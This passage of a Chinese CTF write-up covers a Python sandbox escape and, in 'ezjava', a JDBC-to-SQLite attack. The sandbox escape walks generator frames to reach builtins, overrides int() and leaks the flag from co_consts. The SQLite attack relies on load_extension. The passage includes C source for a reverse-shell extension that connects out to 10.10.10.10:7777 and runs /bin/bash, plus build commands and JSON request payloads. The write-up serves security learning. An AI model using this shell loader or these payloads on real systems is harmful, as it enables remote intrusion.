95232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")

通过我们的代码获取p,q。然后计算p、q是否等于int("69627....863")

可以看到这个很有讲究,用int()括住了这个大数。由于int采用的是globals里的int(),所以我们可以通过将int()覆盖成我们的一个函数让它通过

比如fake_int如下:

1
2
3
4
5
def fake_int(i):
if(len(i)> 100):
return 123123*123123
else:
return 123123

我们的code如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def factorization(c):
def f():
yield g.gi_frame.f_back
g = f()
frame = [x for x in g][0]
builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins'+'_'+'_']
length = builtin.len
def my_fakeint(i):
if length(i) > 100:
return 123123 * 123123
else:
return 123123
builtin.int = my_fakeint
return '1', '2'

返回的字符串1和2经过int判断长度小于100,返回了123123,而大数长度很大,返回的是123123*123123。导致p*q = 这个大数

回到本题

由于这个题的flag存在于runner.py里,(main.py里将flag读取,然后把固定字符替换成了FLAG)

所以直接将payload这么写,注意由于双下划线被过滤了,记得改一下:

1
2
3
4
5
6
7
8
9
def func():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = [x for x in g][0]
builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
code = frame.f_back.f_back.f_back.f_code
print(code.co_consts)
func()

最后一步,因为它检测了输出有没有flag,如果有就会输出这 runtime什么的

所以我们不能够直接输出flag,而是得慢慢判断,因为返回的内容是一个小括号括住的(忘了叫set还是叫tuple了,总之可以通过下标获取)

所以可以通过这样的方式来逐步获取flag的位置:

1
print(code.co_consts[0:x])

假设第x个输出了runtime什么的,第x-1个正常,那flag就是[x]

这下就能确定flag在第12个位置。观察可以通过code.co_const[11:12]得到一个只含有flag的小括号

code.co_const[11:12][0]取出,然后慢慢输出flag即可:

因为比赛结束环境开不了了,所以只能本地复现了

如果嫌麻烦可以拿到 builtins的str函数把这个tuple变成str:

补一张复现的图,因为ctfshow没有国赛那个界面,所以显得很简陋,手动补\n换行和空格缩进即可

payload:

1
{"code":"def func():\n    def f():\n        yield g.gi_frame.f_back\n    g = f()\n    frame = [x for x in g][0]\n    builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']\n    code = frame.f_back.f_back.f_back.f_code\n    str = builtin.str\n    print(code.co_consts[16:17][0][0:32])\nfunc()"}
1
{"code":"def func():\n    def f():\n        yield g.gi_frame.f_back\n    g = f()\n    frame = [x for x in g][0]\n    builtin = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']\n    code = frame.f_back.f_back.f_back.f_code\n    str = builtin.str\n    print(code.co_consts[16:17][0][32:])\nfunc()"}

ezjava

哈哈,没想到是jdbc打sqlite,失策了。死磕mysql的后果是目光呆滞

后续学习jdbc attack的时候再把这几个数据库的打法整理一下

jadx反编译jar得到几个点:

  • lib里基本上没有能打的链,log4j也是2.13版,甚至把jackson删了(至少打不了是真的
  • 包名就叫jdbcTest,所以肯定是打jdbc

pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>jdbcTest</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>jdbcTest</name>
<description>jdbcTest</description>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.3.3.RELEASE</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.8.9</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>com.clickhouse</groupId>
<artifactId>clickhouse-jdbc</artifactId>
<version>0.3.2-patch11</version>
</dependency>

<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
</dependency>

<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.7.2</version>
</dependency>

<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.10</version>
</dependency>

<!-- https://mvnrepository.com/artifact/oracle.jdbc.oracledriver/ojdbc6 -->


<!-- https://mvnrepository.com/artifact/org.aspectj/aspectjweaver -->
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
<scope>runtime</scope>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>

</dependencies>
</dependencyManagement>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.0.3.RELEASE</version>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

</project>

给了三个数据库,一个mysql,一个pgsql,一个sqlite

然后看controller

IndexController没什么好看的,主要看JdbcController,它传了一个jdbcBean对象进去,然后测试其连通性,其他的bean也没什么有意义的东西,定义了几个类的setter方法和getter方法,只有userBean里有readObject方法,但是jdbc很明显不是打这个userbean的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package com.example.jdbctest.bean;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Base64;
import java.util.HashMap;

/* loaded from: app.jar:BOOT-INF/classes/com/example/jdbctest/bean/UserBean.class */
public class UserBean implements Serializable {
private String name;
private String age;
private Object obj;

public UserBean(String name, String age) {
this.name = name;
this.age = age;
}

public UserBean() {
}

public String getAge() {
return this.age;
}

public void setAge(String age) {
this.age = age;
}

public Object getObj() {
return this.obj;
}

public void setObj(Object obj) {
this.obj = obj;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
HashMap<String, byte[]> a = (HashMap) gf.get("obj", (Object) null);
String name = (String) gf.get("name", (Object) null);
String age = (String) gf.get("age", (Object) null);
if (a == null) {
this.obj = null;
return;
}
try {
a.put(name, Base64.getDecoder().decode(age));
} catch (Exception var7) {
var7.printStackTrace();
}
}
}

点进this.datasourceServiceImpl.testDatasourceConnectionAble()里,发现了三个sql的测试连接方法:

先说结论,三个数据库我只测了mysql T_T,因为我只学了mysql的打法,然后测试的时候发现index页面会帮你传入这个jdbcBean了,就直接在post包里改url即可

这是当时测的,mysql能打,但是没有反应,jdbc确实连到我的fake_mysql服务器上了:

然后,然后就没有然后了。打不了反序列化

pgsql没测,这里放一下y4神写的exp:

JavaSec/9.JDBC Attack/PostGreSQL/index.md at main · Y4tacker/JavaSec · GitHub

看了几眼,原理大概是

DriverManager.getConnection会导致在org.postgresql.util.ObjectFactory#instantiate可以初始化任意类,这里找到了org.springframework.context.support.ClassPathXmlApplicationContext,这个函数本来就是初始化spring配置的,这里可以解析远程xml配置文件实现RCE。似乎在这里也不行

sqlite其实很鸡肋,只能做ssrf,但是这是在普通的情况下。如果开启了允许加载拓展的话,就能够加载恶意so文件打rce了()

还是看看y4神的分析吧:

JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub

当sqllite建立连接是会调用org.sqlite.core.CoreConnection#open

这个时候进extractResource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private File extractResource(URL resourceAddr) throws IOException {
if (resourceAddr.getProtocol().equals("file")) {
try {
return new File(resourceAddr.toURI());
} catch (URISyntaxException e) {
throw new IOException(e.getMessage());
}
} else {
File dbFile = new File(new File(System.getProperty("java.io.tmpdir")).getAbsolutePath(), String.format("sqlite-jdbc-tmp-%d.db", Integer.valueOf(resourceAddr.hashCode())));
if (dbFile.exists()) {
if (resourceAddr.openConnection().getLastModified() < dbFile.lastModified()) {
return dbFile;
}
if (!dbFile.delete()) {
throw new IOException("failed to remove existing DB file: " + dbFile.getAbsolutePath());
}
}
byte[] buffer = new byte[8192];
FileOutputStream writer = new FileOutputStream(dbFile);
InputStream reader = resourceAddr.openStream();
while (true) {
try {
int bytesRead = reader.read(buffer);
if (bytesRead == -1) {
return dbFile;
}
writer.write(buffer, 0, bytesRead);
} finally {
writer.close();
reader.close();
}
}
}
}

简单看看这个流程,能够通过访问这个resourceAddr,然后能够将文件写进定义好的java.io.tmpdir目录,文件名叫sqlite-jdbc-tmp-xxx.db,xxx是resourceAddr的hash值,我们可以通过本地调试测出这个hash值

这里的结果只和后面的exp.so有关系,这里改成

所以说它会把文件缓存进/tmp,但是如果没有允许加载拓展的话,就只能做到这种地步了

回到这里,看看SqliteDatasourceConnector:

1
2
3
4
5
6
7
8
9

public SqliteDatasourceConnector(String url) throws ClassNotFoundException, SQLException {
Class.forName("org.sqlite.JDBC");
SQLiteConfig config = new SQLiteConfig();
config.enableLoadExtension(true);
this.connection = DriverManager.getConnection(url, config.toProperties());
this.connection.setAutoCommit(true);
}

可以看到他这里允许加载extension,此时就可以利用 "CREATE VIEW "将不可控的SELECT语句转换为可控。

如果我们能够控制SELECT语句,我们可以使用SELECT load_extension('/tmp/test.so')来加载dll/so并执行恶意代码,注意前面源码写入so的时候已经被重命名成jdbc-sqlite-tmp-xxx.db了,所以这个时候要变成SELECT load_extension('/tmp/test.so')

这里看以下su18师傅的攻击示例

可以看到还需要读一次表,而这个DataSourceConnector里面就有这个操作,而我们只需要写好表名即可

payload怎么写的

Jdbc碎碎念三:内存数据库 | m0d9’s blog

参考它可以先写一个恶意的so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.10.10";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}

return rc;
}

先安装sqlite环境:

1
sudo apt install libsqlite3-dev

gcc编译成so:

1
gcc -g -shared -fPIC exp.c -o exp.so

写完so以后打一次请求:

1
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"}

本地跑一下这个jdbc:sqlite::resource:http://ip:port/exp.so计算出hashCode,记住他重命名为了sqlite-jdbc-tmp-xxx.db

su18师傅有现成的poc.db,下下来用就行了,表名就是security,把里面的内容改一改。这里可以用navicat改,也貌似可以用010Editor改

第二次请求打poc.db,记得添加tableName:

1
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"}

监听反弹的port,等shell弹过来即可,比如我这里通过debug测得文件名为:sqlite-jdbc-tmp--741179700.db

此时请求如下:

shell就弹过来了:

可惜线上没做出来,只能复现了

补充注意点

如上图,写入exp.so的时候不要写tableName,否则会因为根本没有写入表导致SQL Exception,然后直接没有写入so